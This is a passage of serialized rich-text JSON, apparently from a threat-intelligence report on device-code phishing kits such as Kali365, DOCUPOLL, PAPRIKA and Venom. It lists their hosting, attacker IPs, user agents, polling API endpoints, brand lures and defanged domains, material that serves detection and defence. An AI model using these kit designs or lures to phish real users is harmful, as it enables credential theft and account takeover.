visible.",{"data":7104,"content":7105,"nodeType":1563},{},[7106,7116],{"data":7107,"content":7108,"nodeType":1577},{},[7109],{"data":7110,"content":7111,"nodeType":866},{},[7112],{"data":7113,"marks":7114,"value":6843,"nodeType":865},{},[7115],{"type":935},{"data":7117,"content":7118,"nodeType":1577},{},[7119,7131],{"data":7120,"content":7121,"nodeType":866},{},[7122,7127],{"data":7123,"marks":7124,"value":7126,"nodeType":865},{},[7125],{"type":935},"Example IP:",{"data":7128,"marks":7129,"value":7130,"nodeType":865},{},[]," 147.45.60.47 (Global Connectivity Solutions LLP AS215540)",{"data":7132,"content":7133,"nodeType":866},{},[7134,7138],{"data":7135,"marks":7136,"value":6884,"nodeType":865},{},[7137],{"type":935},{"data":7139,"marks":7140,"value":7141,"nodeType":865},{},[]," node",{"data":7143,"content":7144,"nodeType":1563},{},[7145,7155],{"data":7146,"content":7147,"nodeType":1577},{},[7148],{"data":7149,"content":7150,"nodeType":866},{},[7151],{"data":7152,"marks":7153,"value":6926,"nodeType":865},{},[7154],{"type":935},{"data":7156,"content":7157,"nodeType":1577},{},[7158],{"data":7159,"content":7160,"nodeType":866},{},[7161],{"data":7162,"marks":7163,"value":7164,"nodeType":865},{},[],"POST /api/device/start  POST /api/device/poll",{"data":7166,"content":7167,"nodeType":1563},{},[7168,7178],{"data":7169,"content":7170,"nodeType":1577},{},[7171],{"data":7172,"content":7173,"nodeType":866},{},[7174],{"data":7175,"marks":7176,"value":6978,"nodeType":865},{},[7177],{"type":935},{"data":7179,"content":7180,"nodeType":1577},{},[7181],{"data":7182,"content":7183,"nodeType":866},{},[7184],{"data":7185,"marks":7186,"value":7187,"nodeType":865},{},[],"Citrix ShareFile document transfer — file card with sender info, expiry warning, download/preview buttons",{"data":7189,"content":7190,"nodeType":1563},{},[7191,7202],{"data":7192,"content":7193,"nodeType":1577},{},[7194],{"data":7195,"content":7196,"nodeType":866},{},[7197],{"data":7198,"marks":7199,"value":7201,"nodeType":865},{},[7200],{"type":935},"Example domain",{"data":7203,"content":7204,"nodeType":1577},{},[7205],{"data":7206,"content":7207,"nodeType":866},{},[7208],{"data":7209,"marks":7210,"value":7211,"nodeType":865},{},[],"cghdfg[.]vbchkioi[.]su",{"data":7213,"content":7217,"nodeType":921},{"target":7214},{"sys":7215},{"id":7216,"type":918,"linkType":919},"1TtZ6VsMSTlPvy7W996w9E",[],{"data":7219,"content":7220,"nodeType":944},{},[],{"data":7222,"content":7223,"nodeType":1229},{},[7224],{"data":7225,"marks":7226,"value":7228,"nodeType":865},{},[7227],{"type":935},"Kali365 (internal name “CLURE”)",{"data":7230,"content":7231,"nodeType":866},{},[7232,7236,7241,7245,7253,7257,7265],{"data":7233,"marks":7234,"value":7235,"nodeType":865},{},[],"Clure was recently linked to the ",{"data":7237,"marks":7238,"value":7240,"nodeType":865},{},[7239],{"type":935},"Kali365",{"data":7242,"marks":7243,"value":7244,"nodeType":865},{},[]," PhaaS platform based on an ",{"data":7246,"content":7248,"nodeType":889},{"uri":7247},"https://www.ic3.gov/PSA/2026/PSA260521",[7249],{"data":7250,"marks":7251,"value":7252,"nodeType":865},{},[],"FBI advisory",{"data":7254,"marks":7255,"value":7256,"nodeType":865},{},[]," and additional research from ",{"data":7258,"content":7260,"nodeType":889},{"uri":7259},"https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/",[7261],{"data":7262,"marks":7263,"value":7264,"nodeType":865},{},[],"Arctic Wolf",{"data":7266,"marks":7267,"value":7268,"nodeType":865},{},[],". This is yet another example of Device Code Phishing and AiTM phishing capabilities being integrated into unified phishing platforms. ",{"data":7270,"content":7271,"nodeType":1656},{},[7272,7295,7334,7357,7380],{"data":7273,"content":7274,"nodeType":1563},{},[7275,7285],{"data":7276,"content":7277,"nodeType":1577},{},[7278],{"data":7279,"content":7280,"nodeType":866},{},[7281],{"data":7282,"marks":7283,"value":6819,"nodeType":865},{},[7284],{"type":935},{"data":7286,"content":7287,"nodeType":1577},{},[7288],{"data":7289,"content":7290,"nodeType":866},{},[7291],{"data":7292,"marks":7293,"value":7294,"nodeType":865},{},[],"API on api.duemineral.uk:8443 and api.loadingdocuments.uk:8443 (rotates). ",{"data":7296,"content":7297,"nodeType":1563},{},[7298,7308],{"data":7299,"content":7300,"nodeType":1577},{},[7301],{"data":7302,"content":7303,"nodeType":866},{},[7304],{"data":7305,"marks":7306,"value":6843,"nodeType":865},{},[7307],{"type":935},{"data":7309,"content":7310,"nodeType":1577},{},[7311,7323],{"data":7312,"content":7313,"nodeType":866},{},[7314,7319],{"data":7315,"marks":7316,"value":7318,"nodeType":865},{},[7317],{"type":935},"Example IP: ",{"data":7320,"marks":7321,"value":7322,"nodeType":865},{},[],"162.243.166.119 (DigitalOcean AS14061)",{"data":7324,"content":7325,"nodeType":866},{},[7326,7330],{"data":7327,"marks":7328,"value":6884,"nodeType":865},{},[7329],{"type":935},{"data":7331,"marks":7332,"value":7333,"nodeType":865},{},[]," python-requests/2.32.5",{"data":7335,"content":7336,"nodeType":1563},{},[7337,7347],{"data":7338,"content":7339,"nodeType":1577},{},[7340],{"data":7341,"content":7342,"nodeType":866},{},[7343],{"data":7344,"marks":7345,"value":6926,"nodeType":865},{},[7346],{"type":935},{"data":7348,"content":7349,"nodeType":1577},{},[7350],{"data":7351,"content":7352,"nodeType":866},{},[7353],{"data":7354,"marks":7355,"value":7356,"nodeType":865},{},[],"GET /api/status/{numeric_SID} (port :8443)",{"data":7358,"content":7359,"nodeType":1563},{},[7360,7370],{"data":7361,"content":7362,"nodeType":1577},{},[7363],{"data":7364,"content":7365,"nodeType":866},{},[7366],{"data":7367,"marks":7368,"value":6978,"nodeType":865},{},[7369],{"type":935},{"data":7371,"content":7372,"nodeType":1577},{},[7373],{"data":7374,"content":7375,"nodeType":866},{},[7376],{"data":7377,"marks":7378,"value":7379,"nodeType":865},{},[],"SharePoint \"Team Site\" doc library, SharePoint \"Shared Document\" individual share",{"data":7381,"content":7382,"nodeType":1563},{},[7383,7393],{"data":7384,"content":7385,"nodeType":1577},{},[7386],{"data":7387,"content":7388,"nodeType":866},{},[7389],{"data":7390,"marks":7391,"value":7201,"nodeType":865},{},[7392],{"type":935},{"data":7394,"content":7395,"nodeType":1577},{},[7396],{"data":7397,"content":7398,"nodeType":866},{},[7399],{"data":7400,"marks":7401,"value":7402,"nodeType":865},{},[],"auth[.]duemineral[.]uk",{"data":7404,"content":7408,"nodeType":921},{"target":7405},{"sys":7406},{"id":7407,"type":918,"linkType":919},"Y1AiT3dJRTXz64pb68kca",[],{"data":7410,"content":7411,"nodeType":944},{},[],{"data":7413,"content":7414,"nodeType":1229},{},[7415],{"data":7416,"marks":7417,"value":7419,"nodeType":865},{},[7418],{"type":935},"“LINKID”",{"data":7421,"content":7422,"nodeType":1656},{},[7423,7446,7491,7521,7544],{"data":7424,"content":7425,"nodeType":1563},{},[7426,7436],{"data":7427,"content":7428,"nodeType":1577},{},[7429],{"data":7430,"content":7431,"nodeType":866},{},[7432],{"data":7433,"marks":7434,"value":6819,"nodeType":865},{},[7435],{"type":935},{"data":7437,"content":7438,"nodeType":1577},{},[7439],{"data":7440,"content":7441,"nodeType":866},{},[7442],{"data":7443,"marks":7444,"value":7445,"nodeType":865},{},[],"Adobe variant has Cloudflare challenge-platform iframe (CF-protected origin). Relative API paths — self-hosted.",{"data":7447,"content":7448,"nodeType":1563},{},[7449,7459],{"data":7450,"content":7451,"nodeType":1577},{},[7452],{"data":7453,"content":7454,"nodeType":866},{},[7455],{"data":7456,"marks":7457,"value":6843,"nodeType":865},{},[7458],{"type":935},{"data":7460,"content":7461,"nodeType":1577},{},[7462,7473,7480],{"data":7463,"content":7464,"nodeType":866},{},[7465,7469],{"data":7466,"marks":7467,"value":7318,"nodeType":865},{},[7468],{"type":935},{"data":7470,"marks":7471,"value":7472,"nodeType":865},{},[],"185.176.220.22 (2cloud.eu AS39845)",{"data":7474,"content":7475,"nodeType":866},{},[7476],{"data":7477,"marks":7478,"value":7479,"nodeType":865},{},[],"2600:1f10:470d:9a00:1437:ec30:be61:3494 (AWS AS16509)",{"data":7481,"content":7482,"nodeType":866},{},[7483,7487],{"data":7484,"marks":7485,"value":6884,"nodeType":865},{},[7486],{"type":935},{"data":7488,"marks":7489,"value":7490,"nodeType":865},{},[]," axios/1.10.0 , axios/1.13.6",{"data":7492,"content":7493,"nodeType":1563},{},[7494,7504],{"data":7495,"content":7496,"nodeType":1577},{},[7497],{"data":7498,"content":7499,"nodeType":866},{},[7500],{"data":7501,"marks":7502,"value":6926,"nodeType":865},{},[7503],{"type":935},{"data":7505,"content":7506,"nodeType":1577},{},[7507,7514],{"data":7508,"content":7509,"nodeType":866},{},[7510],{"data":7511,"marks":7512,"value":7513,"nodeType":865},{},[],"POST /api/device/start",{"data":7515,"content":7516,"nodeType":866},{},[7517],{"data":7518,"marks":7519,"value":7520,"nodeType":865},{},[],"GET /api/device/status/{sessionId}",{"data":7522,"content":7523,"nodeType":1563},{},[7524,7534],{"data":7525,"content":7526,"nodeType":1577},{},[7527],{"data":7528,"content":7529,"nodeType":866},{},[7530],{"data":7531,"marks":7532,"value":6978,"nodeType":865},{},[7533],{"type":935},{"data":7535,"content":7536,"nodeType":1577},{},[7537],{"data":7538,"content":7539,"nodeType":866},{},[7540],{"data":7541,"marks":7542,"value":7543,"nodeType":865},{},[],"MS Teams meeting invitation (with interactive date/time picker), Adobe Acrobat Sign document review",{"data":7545,"content":7546,"nodeType":1563},{},[7547,7557],{"data":7548,"content":7549,"nodeType":1577},{},[7550],{"data":7551,"content":7552,"nodeType":866},{},[7553],{"data":7554,"marks":7555,"value":7201,"nodeType":865},{},[7556],{"type":935},{"data":7558,"content":7559,"nodeType":1577},{},[7560],{"data":7561,"content":7562,"nodeType":866},{},[7563],{"data":7564,"marks":7565,"value":7566,"nodeType":865},{},[],"sdtr-site[.]cfd",{"data":7568,"content":7572,"nodeType":921},{"target":7569},{"sys":7570},{"id":7571,"type":918,"linkType":919},"22hsIzlkptC2JTIUtbOuUn",[],{"data":7574,"content":7575,"nodeType":944},{},[],{"data":7577,"content":7578,"nodeType":1229},{},[7579],{"data":7580,"marks":7581,"value":7583,"nodeType":865},{},[7582],{"type":935},"Device Code Lab (formerly codename \"AUTHOV”)",{"data":7585,"content":7589,"nodeType":921},{"target":7586},{"sys":7587},{"id":7588,"type":918,"linkType":919},"5vllVaa0Ry0wKs46ssrZLC",[],{"data":7591,"content":7592,"nodeType":1656},{},[7593,7616,7662,7685,7708],{"data":7594,"content":7595,"nodeType":1563},{},[7596,7606],{"data":7597,"content":7598,"nodeType":1577},{},[7599],{"data":7600,"content":7601,"nodeType":866},{},[7602],{"data":7603,"marks":7604,"value":6819,"nodeType":865},{},[7605],{"type":935},{"data":7607,"content":7608,"nodeType":1577},{},[7609],{"data":7610,"content":7611,"nodeType":866},{},[7612],{"data":7613,"marks":7614,"value":7615,"nodeType":865},{},[],"workers.dev",{"data":7617,"content":7618,"nodeType":1563},{},[7619,7629],{"data":7620,"content":7621,"nodeType":1577},{},[7622],{"data":7623,"content":7624,"nodeType":866},{},[7625],{"data":7626,"marks":7627,"value":6843,"nodeType":865},{},[7628],{"type":935},{"data":7630,"content":7631,"nodeType":1577},{},[7632,7643],{"data":7633,"content":7634,"nodeType":866},{},[7635,7639],{"data":7636,"marks":7637,"value":7318,"nodeType":865},{},[7638],{"type":935},{"data":7640,"marks":7641,"value":7642,"nodeType":865},{},[],"192.3.225.100 (HostPapa / ColoCrossing AS36352)",{"data":7644,"content":7645,"nodeType":866},{},[7646,7650,7653,7658],{"data":7647,"marks":7648,"value":6884,"nodeType":865},{},[7649],{"type":935},{"data":7651,"marks":7652,"value":3757,"nodeType":865},{},[],{"data":7654,"marks":7655,"value":7657,"nodeType":865},{},[7656],{"type":935}," ",{"data":7659,"marks":7660,"value":7661,"nodeType":865},{},[],"python-httpx/0.28.1",{"data":7663,"content":7664,"nodeType":1563},{},[7665,7675],{"data":7666,"content":7667,"nodeType":1577},{},[7668],{"data":7669,"content":7670,"nodeType":866},{},[7671],{"data":7672,"marks":7673,"value":6926,"nodeType":865},{},[7674],{"type":935},{"data":7676,"content":7677,"nodeType":1577},{},[7678],{"data":7679,"content":7680,"nodeType":866},{},[7681],{"data":7682,"marks":7683,"value":7684,"nodeType":865},{},[],"GET /landing/api/session-status?session_id=&token=",{"data":7686,"content":7687,"nodeType":1563},{},[7688,7698],{"data":7689,"content":7690,"nodeType":1577},{},[7691],{"data":7692,"content":7693,"nodeType":866},{},[7694],{"data":7695,"marks":7696,"value":6978,"nodeType":865},{},[7697],{"type":935},{"data":7699,"content":7700,"nodeType":1577},{},[7701],{"data":7702,"content":7703,"nodeType":866},{},[7704],{"data":7705,"marks":7706,"value":7707,"nodeType":865},{},[],"Adobe Acrobat document sharing (PDF preview, sender avatar)",{"data":7709,"content":7710,"nodeType":1563},{},[7711,7721],{"data":7712,"content":7713,"nodeType":1577},{},[7714],{"data":7715,"content":7716,"nodeType":866},{},[7717],{"data":7718,"marks":7719,"value":7201,"nodeType":865},{},[7720],{"type":935},{"data":7722,"content":7723,"nodeType":1577},{},[7724],{"data":7725,"content":7726,"nodeType":866},{},[7727],{"data":7728,"marks":7729,"value":7730,"nodeType":865},{},[],"milosh-solibella-0dcio[.]sgttommy.workers.dev",{"data":7732,"content":7736,"nodeType":921},{"target":7733},{"sys":7734},{"id":7735,"type":918,"linkType":919},"6szO6IKJ32usyxIKX1efZy",[],{"data":7738,"content":7742,"nodeType":921},{"target":7739},{"sys":7740},{"id":7741,"type":918,"linkType":919},"lEqV3RTMIY8y011lnhX7P",[],{"data":7744,"content":7745,"nodeType":944},{},[],{"data":7747,"content":7748,"nodeType":1229},{},[7749],{"data":7750,"marks":7751,"value":7753,"nodeType":865},{},[7752],{"type":935},"“DOCUPOLL”",{"data":7755,"content":7756,"nodeType":1656},{},[7757,7780,7818,7855,7878],{"data":7758,"content":7759,"nodeType":1563},{},[7760,7770],{"data":7761,"content":7762,"nodeType":1577},{},[7763],{"data":7764,"content":7765,"nodeType":866},{},[7766],{"data":7767,"marks":7768,"value":6819,"nodeType":865},{},[7769],{"type":935},{"data":7771,"content":7772,"nodeType":1577},{},[7773],{"data":7774,"content":7775,"nodeType":866},{},[7776],{"data":7777,"marks":7778,"value":7779,"nodeType":865},{},[],"Github.io and workers.dev hosting",{"data":7781,"content":7782,"nodeType":1563},{},[7783,7793],{"data":7784,"content":7785,"nodeType":1577},{},[7786],{"data":7787,"content":7788,"nodeType":866},{},[7789],{"data":7790,"marks":7791,"value":6843,"nodeType":865},{},[7792],{"type":935},{"data":7794,"content":7795,"nodeType":1577},{},[7796,7807],{"data":7797,"content":7798,"nodeType":866},{},[7799,7803],{"data":7800,"marks":7801,"value":7318,"nodeType":865},{},[7802],{"type":935},{"data":7804,"marks":7805,"value":7806,"nodeType":865},{},[],"144.172.103.240 (FranTech Solutions / RouterHosting / Cloudzy AS14956)",{"data":7808,"content":7809,"nodeType":866},{},[7810,7814],{"data":7811,"marks":7812,"value":6884,"nodeType":865},{},[7813],{"type":935},{"data":7815,"marks":7816,"value":7817,"nodeType":865},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042",{"data":7819,"content":7820,"nodeType":1563},{},[7821,7831],{"data":7822,"content":7823,"nodeType":1577},{},[7824],{"data":7825,"content":7826,"nodeType":866},{},[7827],{"data":7828,"marks":7829,"value":6926,"nodeType":865},{},[7830],{"type":935},{"data":7832,"content":7833,"nodeType":1577},{},[7834,7841,7848],{"data":7835,"content":7836,"nodeType":866},{},[7837],{"data":7838,"marks":7839,"value":7840,"nodeType":865},{},[],"POST /api/v1/landing-pages/public/{slug}/init",{"data":7842,"content":7843,"nodeType":866},{},[7844],{"data":7845,"marks":7846,"value":7847,"nodeType":865},{},[],"POST .../poll",{"data":7849,"content":7850,"nodeType":866},{},[7851],{"data":7852,"marks":7853,"value":7854,"nodeType":865},{},[],"POST .../track",{"data":7856,"content":7857,"nodeType":1563},{},[7858,7868],{"data":7859,"content":7860,"nodeType":1577},{},[7861],{"data":7862,"content":7863,"nodeType":866},{},[7864],{"data":7865,"marks":7866,"value":6978,"nodeType":865},{},[7867],{"type":935},{"data":7869,"content":7870,"nodeType":1577},{},[7871],{"data":7872,"content":7873,"nodeType":866},{},[7874],{"data":7875,"marks":7876,"value":7877,"nodeType":865},{},[],"DocuSign document signing. One sample is a full scrape of real docusign.com (free-account page) with kit injected.",{"data":7879,"content":7880,"nodeType":1563},{},[7881,7891],{"data":7882,"content":7883,"nodeType":1577},{},[7884],{"data":7885,"content":7886,"nodeType":866},{},[7887],{"data":7888,"marks":7889,"value":7201,"nodeType":865},{},[7890],{"type":935},{"data":7892,"content":7893,"nodeType":1577},{},[7894],{"data":7895,"content":7896,"nodeType":866},{},[7897],{"data":7898,"marks":7899,"value":7900,"nodeType":865},{},[],"docufirmar[.]github.io",{"data":7902,"content":7906,"nodeType":921},{"target":7903},{"sys":7904},{"id":7905,"type":918,"linkType":919},"6Y1XABHnQD82R3MW80HnQZ",[],{"data":7908,"content":7909,"nodeType":944},{},[],{"data":7911,"content":7912,"nodeType":1229},{},[7913],{"data":7914,"marks":7915,"value":7917,"nodeType":865},{},[7916],{"type":935},"“FLOW_TOKEN”",{"data":7919,"content":7920,"nodeType":1656},{},[7921,7943,7988,8018,8041],{"data":7922,"content":7923,"nodeType":1563},{},[7924,7934],{"data":7925,"content":7926,"nodeType":1577},{},[7927],{"data":7928,"content":7929,"nodeType":866},{},[7930],{"data":7931,"marks":7932,"value":6819,"nodeType":865},{},[7933],{"type":935},{"data":7935,"content":7936,"nodeType":1577},{},[7937],{"data":7938,"content":7939,"nodeType":866},{},[7940],{"data":7941,"marks":7942,"value":7615,"nodeType":865},{},[],{"data":7944,"content":7945,"nodeType":1563},{},[7946,7956],{"data":7947,"content":7948,"nodeType":1577},{},[7949],{"data":7950,"content":7951,"nodeType":866},{},[7952],{"data":7953,"marks":7954,"value":6843,"nodeType":865},{},[7955],{"type":935},{"data":7957,"content":7958,"nodeType":1577},{},[7959,7970],{"data":7960,"content":7961,"nodeType":866},{},[7962,7966],{"data":7963,"marks":7964,"value":7318,"nodeType":865},{},[7965],{"type":935},{"data":7967,"marks":7968,"value":7969,"nodeType":865},{},[],"43.166.163.163 (Tencent Cloud AS132203)",{"data":7971,"content":7972,"nodeType":866},{},[7973,7977,7980,7984],{"data":7974,"marks":7975,"value":6884,"nodeType":865},{},[7976],{"type":935},{"data":7978,"marks":7979,"value":3757,"nodeType":865},{},[],{"data":7981,"marks":7982,"value":7657,"nodeType":865},{},[7983],{"type":935},{"data":7985,"marks":7986,"value":7987,"nodeType":865},{},[],"(null)",{"data":7989,"content":7990,"nodeType":1563},{},[7991,8001],{"data":7992,"content":7993,"nodeType":1577},{},[7994],{"data":7995,"content":7996,"nodeType":866},{},[7997],{"data":7998,"marks":7999,"value":6926,"nodeType":865},{},[8000],{"type":935},{"data":8002,"content":8003,"nodeType":1577},{},[8004,8011],{"data":8005,"content":8006,"nodeType":866},{},[8007],{"data":8008,"marks":8009,"value":8010,"nodeType":865},{},[],"POST /api/handler.php ",{"data":8012,"content":8013,"nodeType":866},{},[8014],{"data":8015,"marks":8016,"value":8017,"nodeType":865},{},[],"(actions: device_code_generate, device_code_poll_public)",{"data":8019,"content":8020,"nodeType":1563},{},[8021,8031],{"data":8022,"content":8023,"nodeType":1577},{},[8024],{"data":8025,"content":8026,"nodeType":866},{},[8027],{"data":8028,"marks":8029,"value":6978,"nodeType":865},{},[8030],{"type":935},{"data":8032,"content":8033,"nodeType":1577},{},[8034],{"data":8035,"content":8036,"nodeType":866},{},[8037],{"data":8038,"marks":8039,"value":8040,"nodeType":865},{},[],"DocuSign \"Salary Adjustment Document — 2026\", Microsoft banner · HR Department sender",{"data":8042,"content":8043,"nodeType":1563},{},[8044,8054],{"data":8045,"content":8046,"nodeType":1577},{},[8047],{"data":8048,"content":8049,"nodeType":866},{},[8050],{"data":8051,"marks":8052,"value":7201,"nodeType":865},{},[8053],{"type":935},{"data":8055,"content":8056,"nodeType":1577},{},[8057],{"data":8058,"content":8059,"nodeType":866},{},[8060],{"data":8061,"marks":8062,"value":8063,"nodeType":865},{},[],"salaryadjustment-2afb52.pmb6fefc52b3f9aa5c2dbf[.]workers.dev",{"data":8065,"content":8069,"nodeType":921},{"target":8066},{"sys":8067},{"id":8068,"type":918,"linkType":919},"6xiTDHStbiJh7LMhjAZcPd",[],{"data":8071,"content":8072,"nodeType":944},{},[],{"data":8074,"content":8075,"nodeType":1229},{},[8076],{"data":8077,"marks":8078,"value":8080,"nodeType":865},{},[8079],{"type":935},"“PAPRIKA”",{"data":8082,"content":8083,"nodeType":1656},{},[8084,8107,8130,8153],{"data":8085,"content":8086,"nodeType":1563},{},[8087,8097],{"data":8088,"content":8089,"nodeType":1577},{},[8090],{"data":8091,"content":8092,"nodeType":866},{},[8093],{"data":8094,"marks":8095,"value":6819,"nodeType":865},{},[8096],{"type":935},{"data":8098,"content":8099,"nodeType":1577},{},[8100],{"data":8101,"content":8102,"nodeType":866},{},[8103],{"data":8104,"marks":8105,"value":8106,"nodeType":865},{},[],"AWS S3 hosting",{"data":8108,"content":8109,"nodeType":1563},{},[8110,8120],{"data":8111,"content":8112,"nodeType":1577},{},[8113],{"data":8114,"content":8115,"nodeType":866},{},[8116],{"data":8117,"marks":8118,"value":6926,"nodeType":865},{},[8119],{"type":935},{"data":8121,"content":8122,"nodeType":1577},{},[8123],{"data":8124,"content":8125,"nodeType":866},{},[8126],{"data":8127,"marks":8128,"value":8129,"nodeType":865},{},[],"POST /api/v1/loader",{"data":8131,"content":8132,"nodeType":1563},{},[8133,8143],{"data":8134,"content":8135,"nodeType":1577},{},[8136],{"data":8137,"content":8138,"nodeType":866},{},[8139],{"data":8140,"marks":8141,"value":6978,"nodeType":865},{},[8142],{"type":935},{"data":8144,"content":8145,"nodeType":1577},{},[8146],{"data":8147,"content":8148,"nodeType":866},{},[8149],{"data":8150,"marks":8151,"value":8152,"nodeType":865},{},[],"MS login clone (\"Sign in to your account\"), \"Office 365\" branding, fake \"Powered by Okta\" footer",{"data":8154,"content":8155,"nodeType":1563},{},[8156,8166],{"data":8157,"content":8158,"nodeType":1577},{},[8159],{"data":8160,"content":8161,"nodeType":866},{},[8162],{"data":8163,"marks":8164,"value":7201,"nodeType":865},{},[8165],{"type":935},{"data":8167,"content":8168,"nodeType":1577},{},[8169],{"data":8170,"content":8171,"nodeType":866},{},[8172],{"data":8173,"marks":8174,"value":8175,"nodeType":865},{},[],"redirect-523346-d95027ec[.]s3.amazonaws.com",{"data":8177,"content":8181,"nodeType":921},{"target":8178},{"sys":8179},{"id":8180,"type":918,"linkType":919},"6WFXqUDzcJHKWSwVIcDZAf",[],{"data":8183,"content":8184,"nodeType":944},{},[],{"data":8186,"content":8187,"nodeType":1229},{},[8188],{"data":8189,"marks":8190,"value":8192,"nodeType":865},{},[8191],{"type":935},"“DCSTATUS”",{"data":8194,"content":8195,"nodeType":1656},{},[8196,8218,8241,8264],{"data":8197,"content":8198,"nodeType":1563},{},[8199,8209],{"data":8200,"content":8201,"nodeType":1577},{},[8202],{"data":8203,"content":8204,"nodeType":866},{},[8205],{"data":8206,"marks":8207,"value":6819,"nodeType":865},{},[8208],{"type":935},{"data":8210,"content":8211,"nodeType":1577},{},[8212],{"data":8213,"content":8214,"nodeType":866},{},[8215],{"data":8216,"marks":8217,"value":7102,"nodeType":865},{},[],{"data":8219,"content":8220,"nodeType":1563},{},[8221,8231],{"data":8222,"content":8223,"nodeType":1577},{},[8224],{"data":8225,"content":8226,"nodeType":866},{},[8227],{"data":8228,"marks":8229,"value":6926,"nodeType":865},{},[8230],{"type":935},{"data":8232,"content":8233,"nodeType":1577},{},[8234],{"data":8235,"content":8236,"nodeType":866},{},[8237],{"data":8238,"marks":8239,"value":8240,"nodeType":865},{},[],"GET /dc/status/{base64url_sid}",{"data":8242,"content":8243,"nodeType":1563},{},[8244,8254],{"data":8245,"content":8246,"nodeType":1577},{},[8247],{"data":8248,"content":8249,"nodeType":866},{},[8250],{"data":8251,"marks":8252,"value":6978,"nodeType":865},{},[8253],{"type":935},{"data":8255,"content":8256,"nodeType":1577},{},[8257],{"data":8258,"content":8259,"nodeType":866},{},[8260],{"data":8261,"marks":8262,"value":8263,"nodeType":865},{},[],"Generic \"Microsoft 365 - Secure Access\" verification page",{"data":8265,"content":8266,"nodeType":1563},{},[8267,8277],{"data":8268,"content":8269,"nodeType":1577},{},[8270],{"data":8271,"content":8272,"nodeType":866},{},[8273],{"data":8274,"marks":8275,"value":7201,"nodeType":865},{},[8276],{"type":935},{"data":8278,"content":8279,"nodeType":1577},{},[8280],{"data":8281,"content":8282,"nodeType":866},{},[8283],{"data":8284,"marks":8285,"value":8286,"nodeType":865},{},[],"owa[.]apmmacleans[.]ca",{"data":8288,"content":8292,"nodeType":921},{"target":8289},{"sys":8290},{"id":8291,"type":918,"linkType":919},"ugYhHeXY1lQdKooALmrIs",[],{"data":8294,"content":8295,"nodeType":944},{},[],{"data":8297,"content":8298,"nodeType":1229},{},[8299],{"data":8300,"marks":8301,"value":8303,"nodeType":865},{},[8302],{"type":935},"“DOLCE”",{"data":8305,"content":8309,"nodeType":921},{"target":8306},{"sys":8307},{"id":8308,"type":918,"linkType":919},"7TzU6kk01Un45NB0buEz2",[],{"data":8311,"content":8312,"nodeType":1656},{},[8313,8336,8374,8397,8420],{"data":8314,"content":8315,"nodeType":1563},{},[8316,8326],{"data":8317,"content":8318,"nodeType":1577},{},[8319],{"data":8320,"content":8321,"nodeType":866},{},[8322],{"data":8323,"marks":8324,"value":6819,"nodeType":865},{},[8325],{"type":935},{"data":8327,"content":8328,"nodeType":1577},{},[8329],{"data":8330,"content":8331,"nodeType":866},{},[8332],{"data":8333,"marks":8334,"value":8335,"nodeType":865},{},[],"Microsoft PowerApps hosting",{"data":8337,"content":8338,"nodeType":1563},{},[8339,8349],{"data":8340,"content":8341,"nodeType":1577},{},[8342],{"data":8343,"content":8344,"nodeType":866},{},[8345],{"data":8346,"marks":8347,"value":6843,"nodeType":865},{},[8348],{"type":935},{"data":8350,"content":8351,"nodeType":1577},{},[8352,8363],{"data":8353,"content":8354,"nodeType":866},{},[8355,8359],{"data":8356,"marks":8357,"value":7318,"nodeType":865},{},[8358],{"type":935},{"data":8360,"marks":8361,"value":8362,"nodeType":865},{},[],"34.53.159.84 (Google Cloud AS396982)",{"data":8364,"content":8365,"nodeType":866},{},[8366,8370],{"data":8367,"marks":8368,"value":6884,"nodeType":865},{},[8369],{"type":935},{"data":8371,"marks":8372,"value":8373,"nodeType":865},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",{"data":8375,"content":8376,"nodeType":1563},{},[8377,8387],{"data":8378,"content":8379,"nodeType":1577},{},[8380],{"data":8381,"content":8382,"nodeType":866},{},[8383],{"data":8384,"marks":8385,"value":6926,"nodeType":865},{},[8386],{"type":935},{"data":8388,"content":8389,"nodeType":1577},{},[8390],{"data":8391,"content":8392,"nodeType":866},{},[8393],{"data":8394,"marks":8395,"value":8396,"nodeType":865},{},[],"GET /api/generatecode (CloudFront)",{"data":8398,"content":8399,"nodeType":1563},{},[8400,8410],{"data":8401,"content":8402,"nodeType":1577},{},[8403],{"data":8404,"content":8405,"nodeType":866},{},[8406],{"data":8407,"marks":8408,"value":6978,"nodeType":865},{},[8409],{"type":935},{"data":8411,"content":8412,"nodeType":1577},{},[8413],{"data":8414,"content":8415,"nodeType":866},{},[8416],{"data":8417,"marks":8418,"value":8419,"nodeType":865},{},[],"Dolce & Gabbana branded, Italian language, MS account verification",{"data":8421,"content":8422,"nodeType":1563},{},[8423,8433],{"data":8424,"content":8425,"nodeType":1577},{},[8426],{"data":8427,"content":8428,"nodeType":866},{},[8429],{"data":8430,"marks":8431,"value":7201,"nodeType":865},{},[8432],{"type":935},{"data":8434,"content":8435,"nodeType":1577},{},[8436],{"data":8437,"content":8438,"nodeType":866},{},[8439],{"data":8440,"marks":8441,"value":8442,"nodeType":865},{},[],"data-migration-dolcegabbana[.]powerappsportals.com",{"data":8444,"content":8448,"nodeType":921},{"target":8445},{"sys":8446},{"id":8447,"type":918,"linkType":919},"4ayQDvpf5NNOBrj9wZZRiO",[],{"data":8450,"content":8451,"nodeType":944},{},[],{"data":8453,"content":8454,"nodeType":1229},{},[8455],{"data":8456,"marks":8457,"value":8459,"nodeType":865},{},[8458],{"type":935},"Venom",{"data":8461,"content":8462,"nodeType":1656},{},[8463,8486],{"data":8464,"content":8465,"nodeType":1563},{},[8466,8476],{"data":8467,"content":8468,"nodeType":1577},{},[8469],{"data":8470,"content":8471,"nodeType":866},{},[8472],{"data":8473,"marks":8474,"value":6926,"nodeType":865},{},[8475],{"type":935},{"data":8477,"content":8478,"nodeType":1577},{},[8479],{"data":8480,"content":8481,"nodeType":866},{},[8482],{"data":8483,"marks":8484,"value":8485,"nodeType":865},{},[],"POST /token/api/device/start\nGET /token/api/device/status/{sessionId}",{"data":8487,"content":8488,"nodeType":1563},{},[8489,8499],{"data":8490,"content":8491,"nodeType":1577},{},[8492],{"data":8493,"content":8494,"nodeType":866},{},[8495],{"data":8496,"marks":8497,"value":6978,"nodeType":865},{},[8498],{"type":935},{"data":8500,"content":8501,"nodeType":1577},{},[8502],{"data":8503,"content":8504,"nodeType":866},{},[8505],{"data":8506,"marks":8507,"value":8508,"nodeType":865},{},[],"Various: examples 